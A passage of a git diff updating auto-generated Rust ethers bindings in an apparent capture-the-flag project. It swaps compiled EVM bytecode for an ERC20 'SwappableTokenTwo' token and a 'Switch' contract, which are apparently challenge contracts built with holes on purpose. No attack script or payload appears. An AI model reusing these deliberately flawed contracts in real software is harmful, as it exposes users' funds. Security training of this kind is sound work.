\x80T\x86\x01\x90UQ\x84\x81R\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0\x82`\x1F\x83\x01\x12b\0\x01\x85W`\0\x80\xFD[\x81Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x01\xA2Wb\0\x01\xA2b\0\x01]V[`@Q`\x1F\x83\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x82\x82\x11\x81\x83\x10\x17\x15b\0\x01\xCDWb\0\x01\xCDb\0\x01]V[\x81`@R\x83\x81R` \x92P\x86\x83\x85\x88\x01\x01\x11\x15b\0\x01\xEAW`\0\x80\xFD[`\0\x91P[\x83\x82\x10\x15b\0\x02\x0EW\x85\x82\x01\x83\x01Q\x81\x83\x01\x84\x01R\x90\x82\x01\x90b\0\x01\xEFV[`\0\x93\x81\x01\x90\x92\x01\x92\x90\x92R\x94\x93PPPPV[`\0\x80`\0\x80`\x80\x85\x87\x03\x12\x15b\0\x029W`\0\x80\xFD[\x84Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02QW`\0\x80\xFD[` \x86\x01Q\x90\x94P`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x02oW`\0\x80\xFD[b\0\x02}\x88\x83\x89\x01b\0\x01sV[\x94P`@\x87\x01Q\x91P\x80\x82\x11\x15b\0\x02\x94W`\0\x80\xFD[Pb\0\x02\xA3\x87\x82\x88\x01b\0\x01sV[``\x96\x90\x96\x01Q\x94\x97\x93\x96PPPPV[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\xC9W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x02\xEAWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01XW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x03\x19WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03:W\x82\x81U`\x01\x01b\0\x03%V[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03^Wb\0\x03^b\0\x01]V[b\0\x03v\x81b\0\x03o\x84Tb\0\x02\xB4V[\x84b\0\x02\xF0V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03\xAEW`\0\x84\x15b\0\x03\x95WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03:V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x03\xDFW\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\xBEV[P\x85\x82\x10\x15b\0\x03\xFEW\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[\x80\x82\x01\x80\x82\x11\x15b\0\x040WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[a\x08\xD2\x80b\0\x04F`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xB4W`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0qW\x80cp\xA0\x821\x14a\x01AW\x80c\x95\xD8\x9BA\x14a\x01jW\x80c\xA4W\xC2\xD7\x14a\x01rW\x80c\xA9\x05\x9C\xBB\x14a\x01\x85W\x80c\xDDb\xED>\x14a\x01\x98W\x80c\xE1\xF2\x1Cg\x14a\x01\xABW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xB9W\x80c\t^\xA7\xB3\x14a\0\xD7W\x80c\x18\x16\r\xDD\x14a\0\xFAW\x80c#\xB8r\xDD\x14a\x01\x0CW\x80c1<\xE5g\x14a\x01\x1FW\x80c9P\x93Q\x14a\x01.W[`\0\x80\xFD[a\0\xC1a\x01\xC0V[`@Qa\0\xCE\x91\x90a\x07\x1CV[`@Q\x80\x91\x03\x90\xF3[a\0\xEAa\0\xE56`\x04a\x07\x86V[a\x02RV[`@Q\x90\x15\x15\x81R` \x01a\0\xCEV[`\x02T[`@Q\x90\x81R` \x01a\0\xCEV[a\0\xEAa\x01\x1A6`\x04a\x07\xB0V[a\x02lV[`@Q`\x12\x81R` \x01a\0\xCEV[a\0\xEAa\x01<6`\x04a\x07\x86V[a\x02\x90V[a\0\xFEa\x01O6`\x04a\x07\xECV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xC1a\x02\xB2V[a\0\xEAa\x01\x806`\x04a\x07\x86V[a\x02\xC1V[a\0\xEAa\x01\x936`\x04a\x07\x86V[a\x03AV[a\0\xFEa\x01\xA66`\x04a\x08\x0EV[a\x03OV[a\x01\xBEa\x01\xB96`\x04a\x07\xB0V[a\x03zV[\0[```\x03\x80Ta\x01\xCF\x90a\x08AV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01\xFB\x90a\x08AV[\x80\x15a\x02HW\x80`\x1F\x10a\x02\x1DWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02HV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02+W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02`\x81\x85\x85a\x03\xDAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02z\x85\x82\x85a\x04\xFEV[a\x02\x85\x85\x85\x85a\x05xV[P`\x01\x94\x93PPPPV[`\x003a\x02`\x81\x85\x85a\x02\xA3\x83\x83a\x03OV[a\x02\xAD\x91\x90a\x08{V[a\x03\xDAV[```\x04\x80Ta\x01\xCF\x90a\x08AV[`\x003\x81a\x02\xCF\x82\x86a\x03OV[\x90P\x83\x81\x10\x15a\x034W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\x85\x82\x86\x86\x84\x03a\x03\xDAV[`\x003a\x02`\x81\x85\x85a\x05xV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x05T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x84\x16\x03a\x03\xCAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0F`$\x82\x01Rn$\xB7;0\xB64\xB2 \xB8897\xBB2\xB9`\x89\x1B`D\x82\x01R`d\x01a\x03+V[a\x03\xD5\x83\x83\x83a\x03\xDAV[PPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xB6W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05rV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07IW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07-V[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x81W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\x99W`\0\x80\xFD[a\x07\xA2\x83a\x07jV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x07\xC5W`\0\x80\xFD[a\x07\xCE\x84a\x07jV[\x92Pa\x07\xDC` \x85\x01a\x07jV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x07\xFEW`\0\x80\xFD[a\x08\x07\x82a\x07jV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08!W`\0\x80\xFD[a\x08*\x83a\x07jV[\x91Pa\x088` \x84\x01a\x07jV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08UW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08uWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02fWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 .\xB6\x98R\x0B\xA5~\xF5\xB4\xAEZ\xBE\x8F\r\xF0\xA8m\x94\xE3\xFC\xE71+'K\x9B;\x0C\x90\x8F\x0CZdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static SWAPPABLETOKENTWO_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xB4W`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0qW\x80cp\xA0\x821\x14a\x01AW\x80c\x95\xD8\x9BA\x14a\x01jW\x80c\xA4W\xC2\xD7\x14a\x01rW\x80c\xA9\x05\x9C\xBB\x14a\x01\x85W\x80c\xDDb\xED>\x14a\x01\x98W\x80c\xE1\xF2\x1Cg\x14a\x01\xABW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xB9W\x80c\t^\xA7\xB3\x14a\0\xD7W\x80c\x18\x16\r\xDD\x14a\0\xFAW\x80c#\xB8r\xDD\x14a\x01\x0CW\x80c1<\xE5g\x14a\x01\x1FW\x80c9P\x93Q\x14a\x01.W[`\0\x80\xFD[a\0\xC1a\x01\xC0V[`@Qa\0\xCE\x91\x90a\x07\x1CV[`@Q\x80\x91\x03\x90\xF3[a\0\xEAa\0\xE56`\x04a\x07\x86V[a\x02RV[`@Q\x90\x15\x15\x81R` \x01a\0\xCEV[`\x02T[`@Q\x90\x81R` \x01a\0\xCEV[a\0\xEAa\x01\x1A6`\x04a\x07\xB0V[a\x02lV[`@Q`\x12\x81R` \x01a\0\xCEV[a\0\xEAa\x01<6`\x04a\x07\x86V[a\x02\x90V[a\0\xFEa\x01O6`\x04a\x07\xECV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xC1a\x02\xB2V[a\0\xEAa\x01\x806`\x04a\x07\x86V[a\x02\xC1V[a\0\xEAa\x01\x936`\x04a\x07\x86V[a\x03AV[a\0\xFEa\x01\xA66`\x04a\x08\x0EV[a\x03OV[a\x01\xBEa\x01\xB96`\x04a\x07\xB0V[a\x03zV[\0[```\x03\x80Ta\x01\xCF\x90a\x08AV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01\xFB\x90a\x08AV[\x80\x15a\x02HW\x80`\x1F\x10a\x02\x1DWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02HV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02+W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02`\x81\x85\x85a\x03\xDAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02z\x85\x82\x85a\x04\xFEV[a\x02\x85\x85\x85\x85a\x05xV[P`\x01\x94\x93PPPPV[`\x003a\x02`\x81\x85\x85a\x02\xA3\x83\x83a\x03OV[a\x02\xAD\x91\x90a\x08{V[a\x03\xDAV[```\x04\x80Ta\x01\xCF\x90a\x08AV[`\x003\x81a\x02\xCF\x82\x86a\x03OV[\x90P\x83\x81\x10\x15a\x034W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\x85\x82\x86\x86\x84\x03a\x03\xDAV[`\x003a\x02`\x81\x85\x85a\x05xV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x05T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x84\x16\x03a\x03\xCAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0F`$\x82\x01Rn$\xB7;0\xB64\xB2 \xB8897\xBB2\xB9`\x89\x1B`D\x82\x01R`d\x01a\x03+V[a\x03\xD5\x83\x83\x83a\x03\xDAV[PPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xB6W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05rV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07IW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07-V[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x81W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\x99W`\0\x80\xFD[a\x07\xA2\x83a\x07jV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x07\xC5W`\0\x80\xFD[a\x07\xCE\x84a\x07jV[\x92Pa\x07\xDC` \x85\x01a\x07jV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x07\xFEW`\0\x80\xFD[a\x08\x07\x82a\x07jV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08!W`\0\x80\xFD[a\x08*\x83a\x07jV[\x91Pa\x088` \x84\x01a\x07jV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08UW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08uWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02fWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \x01\x82\xEB\xA0\xA0\xF7\xF4\xE4\xD9\xF2P\xB1\xFAlX\xE2\xCE\x02\xA1p\xAD\xBB\xCE\xA9\"\xA3\xAC\xF0\xC1\x04\xD6\x1BdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xB4W`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0qW\x80cp\xA0\x821\x14a\x01AW\x80c\x95\xD8\x9BA\x14a\x01jW\x80c\xA4W\xC2\xD7\x14a\x01rW\x80c\xA9\x05\x9C\xBB\x14a\x01\x85W\x80c\xDDb\xED>\x14a\x01\x98W\x80c\xE1\xF2\x1Cg\x14a\x01\xABW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xB9W\x80c\t^\xA7\xB3\x14a\0\xD7W\x80c\x18\x16\r\xDD\x14a\0\xFAW\x80c#\xB8r\xDD\x14a\x01\x0CW\x80c1<\xE5g\x14a\x01\x1FW\x80c9P\x93Q\x14a\x01.W[`\0\x80\xFD[a\0\xC1a\x01\xC0V[`@Qa\0\xCE\x91\x90a\x07\x1CV[`@Q\x80\x91\x03\x90\xF3[a\0\xEAa\0\xE56`\x04a\x07\x86V[a\x02RV[`@Q\x90\x15\x15\x81R` \x01a\0\xCEV[`\x02T[`@Q\x90\x81R` \x01a\0\xCEV[a\0\xEAa\x01\x1A6`\x04a\x07\xB0V[a\x02lV[`@Q`\x12\x81R` \x01a\0\xCEV[a\0\xEAa\x01<6`\x04a\x07\x86V[a\x02\x90V[a\0\xFEa\x01O6`\x04a\x07\xECV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xC1a\x02\xB2V[a\0\xEAa\x01\x806`\x04a\x07\x86V[a\x02\xC1V[a\0\xEAa\x01\x936`\x04a\x07\x86V[a\x03AV[a\0\xFEa\x01\xA66`\x04a\x08\x0EV[a\x03OV[a\x01\xBEa\x01\xB96`\x04a\x07\xB0V[a\x03zV[\0[```\x03\x80Ta\x01\xCF\x90a\x08AV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01\xFB\x90a\x08AV[\x80\x15a\x02HW\x80`\x1F\x10a\x02\x1DWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02HV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02+W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02`\x81\x85\x85a\x03\xDAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02z\x85\x82\x85a\x04\xFEV[a\x02\x85\x85\x85\x85a\x05xV[P`\x01\x94\x93PPPPV[`\x003a\x02`\x81\x85\x85a\x02\xA3\x83\x83a\x03OV[a\x02\xAD\x91\x90a\x08{V[a\x03\xDAV[```\x04\x80Ta\x01\xCF\x90a\x08AV[`\x003\x81a\x02\xCF\x82\x86a\x03OV[\x90P\x83\x81\x10\x15a\x034W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\x85\x82\x86\x86\x84\x03a\x03\xDAV[`\x003a\x02`\x81\x85\x85a\x05xV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x05T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x84\x16\x03a\x03\xCAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0F`$\x82\x01Rn$\xB7;0\xB64\xB2 \xB8897\xBB2\xB9`\x89\x1B`D\x82\x01R`d\x01a\x03+V[a\x03\xD5\x83\x83\x83a\x03\xDAV[PPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xB6W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05rV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07IW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07-V[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x81W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\x99W`\0\x80\xFD[a\x07\xA2\x83a\x07jV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x07\xC5W`\0\x80\xFD[a\x07\xCE\x84a\x07jV[\x92Pa\x07\xDC` \x85\x01a\x07jV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x07\xFEW`\0\x80\xFD[a\x08\x07\x82a\x07jV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08!W`\0\x80\xFD[a\x08*\x83a\x07jV[\x91Pa\x088` \x84\x01a\x07jV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08UW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08uWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02fWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 .\xB6\x98R\x0B\xA5~\xF5\xB4\xAEZ\xBE\x8F\r\xF0\xA8m\x94\xE3\xFC\xE71+'K\x9B;\x0C\x90\x8F\x0CZdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static SWAPPABLETOKENTWO_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = diff --git a/ctf/src/abi/switch.rs b/ctf/src/abi/switch.rs index 9a7f525..8aa8afe 100644 --- a/ctf/src/abi/switch.rs +++ b/ctf/src/abi/switch.rs @@ -112,12 +112,12 @@ pub mod switch { pub static SWITCH_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`\0\x80Td\xFF\xFF\xFF\xFF\0\x19\x16d `n\x15\0\x17\x90U4\x80\x15a\0%W`\0\x80\xFD[Pa\x03\xFD\x80a\x005`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c `n\x15\x14a\0\\W\x80c0\xC1:\xDE\x14a\0fW\x80cZ,\xFAf\x14a\0yW\x80cv\"~\x12\x14a\0\xA9W\x80c\xF9\xF8\xF8\x95\x14a\0\xB1W[`\0\x80\xFD[a\0da\0\xCEV[\0[a\0da\0t6`\x04a\x02\xE7V[a\x01.V[`\0Ta\0\x8B\x90a\x01\0\x90\x04`\xE0\x1B\x81V[`@Q`\x01`\x01`\xE0\x1B\x03\x19\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0da\x02UV[`\0Ta\0\xBE\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0\xA0V[30\x14a\x01\"W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FOnly the contract can call this\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0\x80T`\xFF\x19\x16\x90UV[a\x016a\x02\xB3V[`\x04`D\x827`\0T\x81Qa\x01\0\x90\x91\x04`\xE0\x1B`\x01`\x01`\xE0\x1B\x03\x19\x16\x14a\x01\xB2W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`(`$\x82\x01R\x7FCan only call the turnOffSwitch `D\x82\x01Rg3:\xB71\xBA4\xB7\xB7`\xC1\x1B`d\x82\x01R`\x84\x01a\x01\x19V[`\x000`\x01`\x01`\xA0\x1B\x03\x16\x83`@Qa\x01\xCC\x91\x90a\x03\x98V[`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x02\tW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x02\x0EV[``\x91P[PP\x90P\x80a\x02PW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0E`$\x82\x01Rm\x0Cl-\x8D\x84\x0C\xCC--\x8C\xAC\x84\x07E`\x93\x1B`D\x82\x01R`d\x01a\x01\x19V[PPPV[30\x14a\x02\xA4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FOnly the contract can call this\0`D\x82\x01R`d\x01a\x01\x19V[`\0\x80T`\xFF\x19\x16`\x01\x17\x90UV[`@Q\x80` \x01`@R\x80`\x01\x90` \x82\x02\x806\x837P\x91\x92\x91PPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0` \x82\x84\x03\x12\x15a\x02\xF9W`\0\x80\xFD[\x815g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x03\x11W`\0\x80\xFD[\x81\x84\x01\x91P\x84`\x1F\x83\x01\x12a\x03%W`\0\x80\xFD[\x815\x81\x81\x11\x15a\x037Wa\x037a\x02\xD1V[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x03_Wa\x03_a\x02\xD1V[\x81`@R\x82\x81R\x87` \x84\x87\x01\x01\x11\x15a\x03xW`\0\x80\xFD[\x82` \x86\x01` \x83\x017`\0\x92\x81\x01` \x01\x92\x90\x92RP\x95\x94PPPPPV[`\0\x82Q`\0[\x81\x81\x10\x15a\x03\xB9W` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x03\x9FV[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 \xD5\x86\x02^\xA4(\xD6g\xA1\x18bo\xABS\xDF\x18V\x7FP\xCCX8\xAE\xC5N\xB5/k7\xC0CKdsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R`\0\x80Td\xFF\xFF\xFF\xFF\0\x19\x16d `n\x15\0\x17\x90U4\x80\x15a\0%W`\0\x80\xFD[Pa\x03\xFD\x80a\x005`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c `n\x15\x14a\0\\W\x80c0\xC1:\xDE\x14a\0fW\x80cZ,\xFAf\x14a\0yW\x80cv\"~\x12\x14a\0\xA9W\x80c\xF9\xF8\xF8\x95\x14a\0\xB1W[`\0\x80\xFD[a\0da\0\xCEV[\0[a\0da\0t6`\x04a\x02\xE7V[a\x01.V[`\0Ta\0\x8B\x90a\x01\0\x90\x04`\xE0\x1B\x81V[`@Q`\x01`\x01`\xE0\x1B\x03\x19\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0da\x02UV[`\0Ta\0\xBE\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` 